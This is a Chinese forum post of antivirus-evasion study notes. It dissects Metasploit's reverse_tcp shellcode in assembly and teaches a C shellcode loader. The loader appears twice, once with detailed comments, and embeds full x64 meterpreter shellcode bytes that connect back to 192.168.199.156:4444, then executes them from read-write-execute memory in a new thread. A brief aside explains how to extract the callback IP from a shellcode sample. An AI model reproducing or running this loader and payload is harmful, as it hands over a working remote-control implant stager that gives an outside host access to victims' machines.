shanque免杀学习笔记day7

F0re4t   ·   发表于 2022-06-07 20:39:20   ·   技术文章

第一部分MSFshellcode分析

day2-day6给小伙伴们分析了meterpreter的源码,这次来分析shellcode

第一段用哈希去寻找api函数

  1. ; Input: The hash of the API to call and all its parameters must be pushed onto stack.
  2. ; Output: The return value from the API call will be in EAX.
  3. ; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
  4. ; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
  5. ; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
  6. ; Note: This function is unable to call forwarded exports.
  7. api_call:
  8. pushad ; We preserve all the registers for the caller, bar EAX and ECX.
  9. mov ebp, esp ; Create a new stack frame
  10. xor edx, edx ; Zero EDX
  11. mov edx, [fs:edx+0x30] ; Get a pointer to the PEB
  12. mov edx, [edx+0xc] ; Get PEB->Ldr
  13. mov edx, [edx+0x14] ; Get the first module from the InMemoryOrder module list
  14. next_mod: ;
  15. mov esi, [edx+0x28] ; Get pointer to modules name (unicode string)
  16. movzx ecx, word [edx+0x26] ; Set ECX to the length we want to check
  17. xor edi, edi ; Clear EDI which will store the hash of the module name
  18. loop_modname: ;
  19. xor eax, eax ; Clear EAX
  20. lodsb ; Read in the next byte of the name
  21. cmp al, 'a' ; Some versions of Windows use lower case module names
  22. jl not_lowercase ;
  23. sub al, 0x20 ; If so normalise to uppercase
  24. not_lowercase: ;
  25. ror edi, 0xd ; Rotate right our hash value
  26. add edi, eax ; Add the next byte of the name
  27. dec ecx
  28. jnz loop_modname ; Loop until we have read enough
  29. ; We now have the module hash computed
  30. push edx ; Save the current position in the module list for later
  31. push edi ; Save the current module hash for later
  32. ; Proceed to iterate the export address table,
  33. mov edx, [edx+0x10] ; Get this modules base address
  34. mov eax, [edx+0x3c] ; Get PE header
  35. add eax, edx ; Add the modules base address
  36. mov eax, [eax+0x78] ; Get export tables RVA
  37. test eax, eax ; Test if no export address table is present
  38. jz get_next_mod1 ; If no EAT present, process the next module
  39. add eax, edx ; Add the modules base address
  40. push eax ; Save the current modules EAT
  41. mov ecx, [eax+0x18] ; Get the number of function names
  42. mov ebx, [eax+0x20] ; Get the rva of the function names
  43. add ebx, edx ; Add the modules base address
  44. ; Computing the module hash + function hash
  45. get_next_func: ;
  46. test ecx, ecx ; Changed from jecxz to accomodate the larger offset produced by random jmps below
  47. jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
  48. dec ecx ; Decrement the function name counter
  49. mov esi, [ebx+ecx*4] ; Get rva of next module name
  50. add esi, edx ; Add the modules base address
  51. xor edi, edi ; Clear EDI which will store the hash of the function name
  52. ; And compare it to the one we want
  53. loop_funcname: ;
  54. xor eax, eax ; Clear EAX
  55. lodsb ; Read in the next byte of the ASCII function name
  56. ror edi, 0xd ; Rotate right our hash value
  57. add edi, eax ; Add the next byte of the name
  58. cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
  59. jne loop_funcname ; If we have not reached the null terminator, continue
  60. add edi, [ebp-8] ; Add the current module hash to the function hash
  61. cmp edi, [ebp+0x24] ; Compare the hash to the one we are searchnig for
  62. jnz get_next_func ; Go compute the next function hash if we have not found it
  63. ; If found, fix up stack, call the function and then value else compute the next one...
  64. pop eax ; Restore the current modules EAT
  65. mov ebx, [eax+0x24] ; Get the ordinal table rva
  66. add ebx, edx ; Add the modules base address
  67. mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
  68. mov ebx, [eax+0x1c] ; Get the function addresses table rva
  69. add ebx, edx ; Add the modules base address
  70. mov eax, [ebx+4*ecx] ; Get the desired functions RVA
  71. add eax, edx ; Add the modules base address to get the functions actual VA
  72. ; We now fix up the stack and perform the call to the desired function...
  73. finish:
  74. mov [esp+0x24], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
  75. pop ebx ; Clear off the current modules hash
  76. pop ebx ; Clear off the current position in the module list
  77. popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
  78. pop ecx ; Pop off the origional return address our caller will have pushed
  79. pop edx ; Pop off the hash value our caller will have pushed
  80. push ecx ; Push back the correct return value
  81. jmp eax ; Jump into the required function
  82. ; We now automagically return to the correct caller...
  83. get_next_mod: ;
  84. pop eax ; Pop off the current (now the previous) modules EAT
  85. get_next_mod1: ;
  86. pop edi ; Pop off the current (now the previous) modules hash
  87. pop edx ; Restore our position in the module list
  88. mov edx, [edx] ; Get the next module
  89. jmp next_mod ; Process this module

在内存中运行执行了功能,但是不是一个完整的文件,因为在windows中运行必须要有一个pe头,不管是dll,sys,exe文件,都必须要有pe头部文件,里面有用到的api函数名字和对应的地址。shellcode没有pe头,所以要用hash去寻找函数。
用到了在里面写上函数的链接器,放上名称。链接器再去寻找dll文件中对应的函数。在操作系统中所有的函数都有自己的一个哈希值。找到了这个值就相当于找到了函数的名称,就可以直接用。

第二段建立socket连接

  1. ; Input: EBP must be the address of 'api_call'.
  2. ; Output: EDI will be the socket for the connection to the server
  3. ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
  4. reverse_tcp:
  5. push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
  6. push 0x5F327377 ; ...
  7. push esp ; Push a pointer to the "ws2_32" string on the stack.
  8. push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )//调用LoadLibraryA这个函数
  9. call ebp ; LoadLibraryA( "ws2_32" )//ws2_32是Windows Sockets应用程序接口, 用于支持Internet和网络应用程序。
  10. mov eax, 0x0190 ; EAX = sizeof( struct WSAData )新建一个wsadata对象
  11. sub esp, eax ; alloc some space for the WSAData structure
  12. push esp ; push a pointer to this stuct
  13. push eax ; push the wVersionRequested parameter
  14. push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) //开始,去定义一些需要的属性
  15. call ebp ; WSAStartup( 0x0190, &WSAData );
  16. push eax ; if we succeed, eax wil be zero, push zero for the flags param.
  17. push eax ; push null for reserved parameter
  18. push eax ; we do not specify a WSAPROTOCOL_INFO structure
  19. push eax ; we do not specify a protocol
  20. inc eax ;
  21. push eax ; push SOCK_STREAM
  22. inc eax ;
  23. push eax ; push AF_INET
  24. push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
  25. call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); //AFINET是一个ipv4地址,SOCK_STREAM是tcp协议(udp是SOCK_DGRAM)
  26. xchg edi, eax ; save the socket for later, don't care about the value of eax after this
  27. set_address:
  28. push byte 0x05 ; retry counter
  29. push 0x0100007F ; host 127.0.0.1 //ip地址
  30. push 0x5C110002 ; family AF_INET and port 4444 //端口号
  31. mov esi, esp ; save pointer to sockaddr struct
  32. try_connect:
  33. push byte 16 ; length of the sockaddr struct
  34. push esi ; pointer to the sockaddr struct
  35. push edi ; the socket
  36. push 0x6174A599 ; hash( "ws2_32.dll", "connect" )//设置完ip,端口就开始连接
  37. call ebp ; connect( s, &sockaddr, 16 );
  38. test eax,eax ; non-zero means a failure
  39. jz short connected
  40. handle_failure:
  41. dec dword [esi+8]
  42. jnz short try_connect
  43. failure:
  44. push 0x56A2B5F0 ; hardcoded to exitprocess for size
  45. call ebp
  46. connected:

所以在shellcode里面是可以看到ip和端口的,那么拿到一个msfshellcode怎么去溯源?
拿到一段shellcode去找\xd5\x6a\x0a\x68, 68、6a代表push,后面跟着的c0\a82\d5\这一串就是ip地址,拿去16进制转ip就可以得到ip。
地址:https://tool.520101.com/wangluo/jinzhizhuanhuan/


我用的ollydbg把机器码转换成汇编的,工具放附件了。

第二部分shellcode加载器

  1. #include <Windows.h>
  2. unsigned char shellcode[] =
  3. "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
  4. "\x48\x31\xd2\x51\x65\x48\x8b\x52\x60\x56\x48\x8b\x52\x18\x48"
  5. "\x8b\x52\x20\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50\x4d\x31\xc9"
  6. "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
  7. "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
  8. "\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
  9. "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x44"
  10. "\x8b\x40\x20\x49\x01\xd0\x8b\x48\x18\xe3\x56\x4d\x31\xc9\x48"
  11. "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9"
  12. "\x0d\xac\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
  13. "\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
  14. "\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58"
  15. "\x48\x01\xd0\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
  16. "\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
  17. "\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
  18. "\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
  19. "\x49\xbc\x02\x00\x11\x5c\xc0\xa8\xc7\x9c\x41\x54\x49\x89\xe4"
  20. "\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
  21. "\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
  22. "\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
  23. "\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
  24. "\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
  25. "\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
  26. "\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
  27. "\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
  28. "\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
  29. "\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
  30. "\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
  31. "\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
  32. "\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
  33. "\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
  34. "\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
  35. "\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
  36. "\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
  37. int main()
  38. {
  39. LPVOID vadd = VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  40. RtlMoveMemory(vadd,shellcode,sizeof(shellcode));
  41. HANDLE newhand = CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)vadd,NULL,0,0);
  42. WaitForSingleObject(newhand,INFINITE);
  43. return 0;
  44. }

分析

  1. #include
  2. unsigned char shellcode[] =
  3. "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
  4. "\x48\x31\xd2\x51\x65\x48\x8b\x52\x60\x56\x48\x8b\x52\x18\x48"
  5. "\x8b\x52\x20\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50\x4d\x31\xc9"
  6. "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
  7. "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
  8. "\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
  9. "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x44"
  10. "\x8b\x40\x20\x49\x01\xd0\x8b\x48\x18\xe3\x56\x4d\x31\xc9\x48"
  11. "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9"
  12. "\x0d\xac\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
  13. "\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
  14. "\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58"
  15. "\x48\x01\xd0\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
  16. "\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
  17. "\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
  18. "\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
  19. "\x49\xbc\x02\x00\x11\x5c\xc0\xa8\xc7\x9c\x41\x54\x49\x89\xe4"
  20. "\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
  21. "\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
  22. "\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
  23. "\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
  24. "\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
  25. "\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
  26. "\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
  27. "\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
  28. "\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
  29. "\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
  30. "\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
  31. "\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
  32. "\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
  33. "\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
  34. "\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
  35. "\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
  36. "\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
  37. //上面这一段只是一个变量数据保存在data字段里面里面,可读可写但是不能去执行。所有的加载器要考虑怎么把数据变成代码-&gt;申请一个内存把shellcode丢进去。
  38. int main()
  39. //windows的api函数VirtualAlloc,作用是调用进程的虚拟地址空间的页面区域,此函数申请的空间里面开始是空的。里面的参数有
  40. //1.要分配区域的起始地址,是一个指针类型,null的话系统会自动分配区域的位置。
  41. //2.sizeof,区域的大小,以字节为单位这里给一个动态的shellcode大小,你上面定义的shellcode多大就给你申请多大的内存。
  42. //3.内存的属性:3.1 内存分配属性:MEM_COMMIT,保留内存的一些内容,直到访问虚拟地址的时候,才会分配物理地址。MEM_RESERVE,只申请虚拟地址不申请物理地址,配合MEM_COMMIT就可以访问虚拟地址的时候自动去分配一个物理地址。3.2:内存保护属性 PAGE_EXECUTE_READWRITE,可读(申请的空间我们要能访问到)可写(现在空间里没有内容一会要写shellcode进去)可执行(我们要去加载shellcode)。
  43. {
  44. LPVOID vadd = VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  45. //申请完内存就开始往里面写内容,用到函数RtlMoveMemory。将源内存块的内容(shellcode,data的一个字段)复制到目标内存块(刚刚申请的),并支持重叠的源内存块和目标内存块。
  46. //参数:目的地:vadd(刚刚申请的内存) 源地址:shellcode 源地址的长度:sizeof(shellcode)
  47. //现在就有了一个有内容的,并且可以执行的shellcode
  48. RtlMoveMemory(vadd,shellcode,sizeof(shellcode));
  49. //。CreateThread函数,创建要在调用进程的虚拟地址空间中执行的线程。主要用到这个(LPTHREAD_START_ROUTINE)vadd,指向要传递给线程的变量的指针,也就是可以指定我们前面已经往里面写了shellcode的可读可写可执行的内存地址,然后让线程从这里开始运行
  50. HANDLE newhand = CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)vadd,NULL,0,0);
  51. //等待线程结束,等待这个newhand新创建的线程,INFINITE时间调成无限大
  52. WaitForSingleObject(newhand,INFINITE);
  53. return 0;
  54. }

理一遍这个流程就是:1.申请一个可读可写可执行的空内存2.把shellcode写进去3.创建一个线程去执行。

用户名金币积分时间理由
Track-劲夫 50.00 0 2022-06-13 11:11:14 一个受益终生的帖子~~

打赏我,让我更有动力~

附件列表

吾爱破解专用版Ollydbg.rar   文件大小:14.759M (下载次数:1)

0 条回复   |  直到 2022-6-7 | 502 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.